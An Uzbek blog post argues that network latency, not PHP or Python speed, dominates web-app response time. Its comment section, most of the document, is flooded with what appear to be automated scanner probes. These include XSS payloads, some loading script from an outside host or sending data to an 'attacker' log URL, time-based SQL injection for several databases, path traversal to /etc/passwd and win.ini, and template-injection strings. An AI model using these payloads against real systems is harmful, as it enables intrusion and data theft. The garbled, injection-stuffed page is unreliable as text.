Muallif
July 14, 2024
1562Bu savolga javob berish maqsadida keling faqat Web Applicationlar haqida gaplashaylik, chunki ko'pchilik aynan shu ish bilan shug'illanadi.
Bu savolga javob berish maqsadida keling faqat Web Applicationlar haqida gaplashaylik, chunki ko'pchilik aynan shu ish bilan shug'illanadi.
Ho'p, faraz qilaylik PHP tezroq deb. Unda savol tug'iladi: Nega kompaniyalar Pythonni ishlatadi unda?
Chunki til tezligining ahamiyati bunday loyihalarda katta emas.
"Aqling joyidami? Qanaqasiga muhim bo'lmasligi mumkin?" deyapsiza. Isbotlashga harakat qilaman.
Lekin undan oldin hammamiz bir narsani yaxshi tushinib olishimiz kerak. Web loyihalarda 3ta asosiy qismlar mavjud: Klient, server va ma'lumotlar bazasi.
Klientga misol qilib browserlarni (Chrome, Firefox va hokazo) yoki mobile applicationlarni keltirishimiz mumkin.
Serverga esa o'sha siz PHP yoki Pythonda yozgan backend qismini misol qilishimiz mumkin.
Ma'lumotlar bazasi esa bu... ma'lumotlar bazasi. U yerda ma'lumotlar saqlanadi. Buni hammamiz bilamiz. Misol qilib PostgreSQL yoki MySQLni keltirishimiz mumkin.
Ana endi tasavvur qiling biz Eastsinster Universiteti uchun web loyiha qilyapmiz. Bu loyihaning funksiyalaridan biri bu talabalar ro'yxatini ko'rsatish. Mana shu ishni qilishimiz uchun, yani talabalar ro'yxatini ko'rsatishimiz uchun tepada gaplashgan klient, server va ma'lumotlar bazasi o'zaro quyidagicha gaplashishadi:
Klient serverdan "talabalar ro'yxatini ber" deb so'rov yuboradi.
Server (PHP yoki Pythonda yozilgan) klientning so'rovni oladida qaraydi. Qarasa, talabalar ro'yxati kerak ekan. Ro'yxatni qayerdan oladi? Ma'lumotlar bazasidan. Shuning uchun server ham so'rov yuboradi ma'lumotlar bazasiga.
Ma'lumotlar bazasi so'rovni qabul qilib, kerakli ma'lumotlarni serverga yuboradi.
Server bazadan javobni qabul qilib, klient tushunadigan formatga o'girib natijani klientga qaytarib yuboradi.
Klient serverdan kelgan ma'lumotni olib ekranda ko'rsatadi.
Oddiyroq qilib chizadigan bo'lsak, quyidagicha bo'ladi:
Klient -> Server -> MB -> Server -> Klient
E'tibor bering! Barcha qismlar so'rov yuborish bilan band asosan. Hattoki PHP yoki Pythonda yozilgan server ham. U ortiqcha katta ish qilmaydi.
Xulosa qilib aytishimiz mumkin-ki, asosiy vaqt so'rov yuborish/qabul qilishga sarflanadi. Bu esa tilning tezligiga emas, network tezligiga bog'liq.
Raqam qo'yib aytadigan bo'lsak, butun ishni qilish uchun 400 ms ketdi deylik. Shu 400ning 300msi networkga ketsa, 100msi server qiladigan ishga ketadi. Deylik Python emas PHPda yozsangiz 100ms o'rniga 50ms ketadi, 2 barovar qisqardi. Lekin umumiy vaqt 350ms bo'ladi holos. Katta farq bo'lmaydi.
Agar server so'rovlardan tashqari boshqa kuchliroq ish qilganda edi, tilni tezligiga qarasak bo'lardi.
Albatta bu bitta misol holos. Bunday savollarga 100% javob berib bo'lmaydi. Har doim holatga qarab ish tutiladi. Shunchaki qanday fikrlash kerakligi haqida bo'lishdim.
April 11, 2026
555
April 11, 2026
555'"()&%<zzz><ScRiPt >4ZcA(9957)</ScRiPt>
April 11, 2026
WbDr5w86
April 11, 2026
'"()&%<zzz><ScRiPt >4ZcA(9626)</ScRiPt>
April 11, 2026
../../../../../../../../../../../../../../etc/passwd
April 11, 2026
C1kSmkWP: i9i1eEUk
April 11, 2026
../../../../../../../../../../../../../../windows/win.ini
April 11, 2026
5559854461
April 11, 2026
file:///etc/passwd
April 11, 2026
555
April 11, 2026
bfg1795＜s1﹥s2ʺs3ʹhjl1795
April 11, 2026
12345'"\'\");|]* { < >�''💡
April 11, 2026
../555
April 11, 2026
bfgx1815��z1��z2a�bcxhjl1815
April 11, 2026
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
April 11, 2026
<%={{={@{#{${dfb}}%>
April 11, 2026
555
April 11, 2026
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
April 11, 2026
555
April 11, 2026
Http://bxss.me/t/fit.txt
April 11, 2026
<th:t="${dfb}#foreach
April 11, 2026
http://bxss.me/t/fit.txt?.jpg
April 11, 2026
/etc/shells
April 11, 2026
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
April 11, 2026
../../../../../../../../../../../../../../etc/shells
April 11, 2026
c:/windows/win.ini
April 11, 2026
dfb{{98991*97996}}xca
April 11, 2026
bxss.me
April 11, 2026
dfb[[${98991*97996}]]xca
April 11, 2026
dfb__${98991*97996}__::.x
April 11, 2026
)
April 11, 2026
!(()&&!|*|*|
April 11, 2026
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
April 11, 2026
^(#$!@#$)(()))******
April 11, 2026
555<ScRiPt >4ZcA(9283)</ScRiPt>
April 11, 2026
555<WXLYNF>IKDLH[!+!]</WXLYNF>
April 11, 2026
555<script>4ZcA(9612)</script>
April 11, 2026
555<script>4ZcA(9034)</script>9034
April 11, 2026
555<ScR<ScRiPt>IpT>4ZcA(9259)</sCr<ScRiPt>IpT>
April 11, 2026
555
April 11, 2026
555<ScRiPt >4ZcA(9521)</ScRiPt>
April 11, 2026
-1 OR 2+792-792-1=0+0+0+1 --
April 11, 2026
-1 OR 2+33-33-1=0+0+0+1
April 11, 2026
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9747></ScRiPt>
April 11, 2026
-1' OR 2+169-169-1=0+0+0+1 --
April 11, 2026
-1' OR 2+855-855-1=0+0+0+1 or 'vgTXePFV'='
April 11, 2026
555< ScRiPt >4ZcA(9491)</ScRiPt>
April 11, 2026
-1" OR 2+118-118-1=0+0+0+1 --
April 11, 2026
555<svg � onload=4ZcA(9454);>
April 11, 2026
555<isindex type=image src=1 onerror=4ZcA(9561)>
April 11, 2026
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9632'>
April 11, 2026
555<body onload=4ZcA(9754)>
April 11, 2026
555<img src=//xss.bxss.me/t/dot.gif onload=4ZcA(9753)>
April 11, 2026
555<img src=xyz OnErRor=4ZcA(9130)>
April 11, 2026
555<img/src=">" onerror=alert(9951)>
April 11, 2026
%35%35%35%3C%53%63%52%69%50%74%20%3E%34%5A%63%41%289986%29%3C%2F%73%43%72%69%70%54%3E
April 11, 2026
555\u003CScRiPt\4ZcA(9698)\u003C/sCripT\u003E
April 11, 2026
555<ScRiPt>4ZcA(9167)</sCripT>
April 11, 2026
555*if(now()=sysdate(),sleep(15),0)
April 11, 2026
�<img zzz onmouseover=4ZcA(90411) //�>
April 11, 2026
555<input autofocus onfocus=4ZcA(9920)>
April 11, 2026
<a HrEF=http://xss.bxss.me></a>
April 11, 2026
<a HrEF=jaVaScRiPT:>
April 11, 2026
555}body{zzz:Expre/**/SSion(4ZcA(9734))}
April 11, 2026
555RCqnG <ScRiPt >4ZcA(9797)</ScRiPt>
April 11, 2026
555<WVBH4T>DJWKJ[!+!]</WVBH4T>
April 11, 2026
555<ifRAme sRc=9907.com></IfRamE>
April 11, 2026
555<aRtvdy5 x=9738>
April 11, 2026
555<img sRc='http://attacker-9487/log.php?
April 11, 2026
555<aWOZYYk<
April 11, 2026
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
April 11, 2026
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
April 11, 2026
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
April 11, 2026
555-1; waitfor delay '0:0:15' --
April 11, 2026
555-1); waitfor delay '0:0:15' --
April 11, 2026
555-1 waitfor delay '0:0:15' --
April 11, 2026
555hKxBZLe4'; waitfor delay '0:0:15' --
April 11, 2026
555-1 OR 647=(SELECT 647 FROM PG_SLEEP(15))--
April 11, 2026
555-1) OR 944=(SELECT 944 FROM PG_SLEEP(15))--
April 11, 2026
555-1)) OR 478=(SELECT 478 FROM PG_SLEEP(15))--
April 11, 2026
5557XTkzRcR' OR 199=(SELECT 199 FROM PG_SLEEP(15))--
April 11, 2026
5557Okmzj7H') OR 838=(SELECT 838 FROM PG_SLEEP(15))--
April 11, 2026
5557SHhd4Qd')) OR 145=(SELECT 145 FROM PG_SLEEP(15))--
April 11, 2026
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
April 11, 2026
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
April 11, 2026
555
April 11, 2026
555'"
April 11, 2026
555����%2527%2522\'\"
April 11, 2026
@@OKaVh
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
7PUc3rDB
April 11, 2026
555
April 11, 2026
JhkRHjiL: BL4vR30f
April 11, 2026
555
April 11, 2026
555'"()&%<zzz><ScRiPt >Wimo(9828)</ScRiPt>
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
'"()&%<zzz><ScRiPt >Wimo(9667)</ScRiPt>
April 11, 2026
555
April 11, 2026
555
April 11, 2026
../../../../../../../../../../../../../../etc/passwd
April 11, 2026
555
April 11, 2026
12345'"\'\");|]* { < >�''💡
April 11, 2026
5559189726
April 11, 2026
555
April 11, 2026
../../../../../../../../../../../../../../windows/win.ini
April 11, 2026
555
April 11, 2026
file:///etc/passwd
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
bfg9183＜s1﹥s2ʺs3ʹhjl9183
April 11, 2026
../555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
bfgx2830��z1��z2a�bcxhjl2830
April 11, 2026
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
April 11, 2026
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
April 11, 2026
555
April 11, 2026
555
April 11, 2026
Http://bxss.me/t/fit.txt
April 11, 2026
http://bxss.me/t/fit.txt?.jpg
April 11, 2026
/etc/shells
April 11, 2026
555
April 11, 2026
555
April 11, 2026
)
April 11, 2026
!(()&&!|*|*|
April 11, 2026
^(#$!@#$)(()))******
April 11, 2026
../../../../../../../../../../../../../../etc/shells
April 11, 2026
<%={{={@{#{${dfb}}%>
April 11, 2026
c:/windows/win.ini
April 11, 2026
bxss.me
April 11, 2026
<th:t="${dfb}#foreach
April 11, 2026
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
April 11, 2026
dfb{{98991*97996}}xca
April 11, 2026
dfb[[${98991*97996}]]xca
April 11, 2026
dfb__${98991*97996}__::.x
April 11, 2026
555
April 11, 2026
555
April 11, 2026
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555<ScRiPt >Wimo(9434)</ScRiPt>
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555<WWEIIU>0QTSM[!+!]</WWEIIU>
April 11, 2026
555<script>Wimo(9959)</script>
April 11, 2026
555<script>Wimo(9210)</script>9210
April 11, 2026
555<ScR<ScRiPt>IpT>Wimo(9719)</sCr<ScRiPt>IpT>
April 11, 2026
555<ScRiPt >Wimo(9894)</ScRiPt>
April 11, 2026
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9316></ScRiPt>
April 11, 2026
555< ScRiPt >Wimo(9988)</ScRiPt>
April 11, 2026
555<svg � onload=Wimo(9237);>
April 11, 2026
555<isindex type=image src=1 onerror=Wimo(9786)>
April 11, 2026
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9081'>
April 11, 2026
555<body onload=Wimo(9602)>
April 11, 2026
555
April 11, 2026
555<img src=//xss.bxss.me/t/dot.gif onload=Wimo(9760)>
April 11, 2026
555<img src=xyz OnErRor=Wimo(9148)>
April 11, 2026
555<img/src=">" onerror=alert(9598)>
April 11, 2026
%35%35%35%3C%53%63%52%69%50%74%20%3E%57%69%6D%6F%289038%29%3C%2F%73%43%72%69%70%54%3E
April 11, 2026
555\u003CScRiPt\Wimo(9054)\u003C/sCripT\u003E
April 11, 2026
555<ScRiPt>Wimo(9005)</sCripT>
April 11, 2026
�<img zzz onmouseover=Wimo(96321) //�>
April 11, 2026
555<input autofocus onfocus=Wimo(9320)>
April 11, 2026
<a HrEF=http://xss.bxss.me></a>
April 11, 2026
<a HrEF=jaVaScRiPT:>
April 11, 2026
555
April 11, 2026
555}body{zzz:Expre/**/SSion(Wimo(9391))}
April 11, 2026
555Po18E <ScRiPt >Wimo(9312)</ScRiPt>
April 11, 2026
555<WP8DOE>G6CAB[!+!]</WP8DOE>
April 11, 2026
555<ifRAme sRc=9077.com></IfRamE>
April 11, 2026
555<aANwySi x=9977>
April 11, 2026
555<img sRc='http://attacker-9246/log.php?
April 11, 2026
555<amEAbXL<
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555
April 11, 2026
-1 OR 2+297-297-1=0+0+0+1 --
April 11, 2026
-1 OR 2+976-976-1=0+0+0+1
April 11, 2026
-1' OR 2+867-867-1=0+0+0+1 --
April 11, 2026
-1' OR 2+137-137-1=0+0+0+1 or 'iN6i9v7s'='
April 11, 2026
-1" OR 2+898-898-1=0+0+0+1 --
April 11, 2026
555*if(now()=sysdate(),sleep(15),0)
April 11, 2026
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
April 11, 2026
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
April 11, 2026
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
April 11, 2026
555-1; waitfor delay '0:0:15' --
April 11, 2026
555-1); waitfor delay '0:0:15' --
April 11, 2026
555-1 waitfor delay '0:0:15' --
April 11, 2026
555FcAdvimP'; waitfor delay '0:0:15' --
April 11, 2026
555-1 OR 528=(SELECT 528 FROM PG_SLEEP(15))--
April 11, 2026
555-1) OR 30=(SELECT 30 FROM PG_SLEEP(15))--
April 11, 2026
555-1)) OR 466=(SELECT 466 FROM PG_SLEEP(15))--
April 11, 2026
555ESrfWyzH' OR 488=(SELECT 488 FROM PG_SLEEP(15))--
April 11, 2026
555fdWf72Px') OR 603=(SELECT 603 FROM PG_SLEEP(15))--
April 11, 2026
555mSpR0CjZ')) OR 544=(SELECT 544 FROM PG_SLEEP(15))--
April 11, 2026
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
April 11, 2026
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
April 11, 2026
555
April 11, 2026
555'"
April 11, 2026
555����%2527%2522\'\"
April 11, 2026
@@AUVtM
April 11, 2026
555
April 11, 2026
555
April 11, 2026
555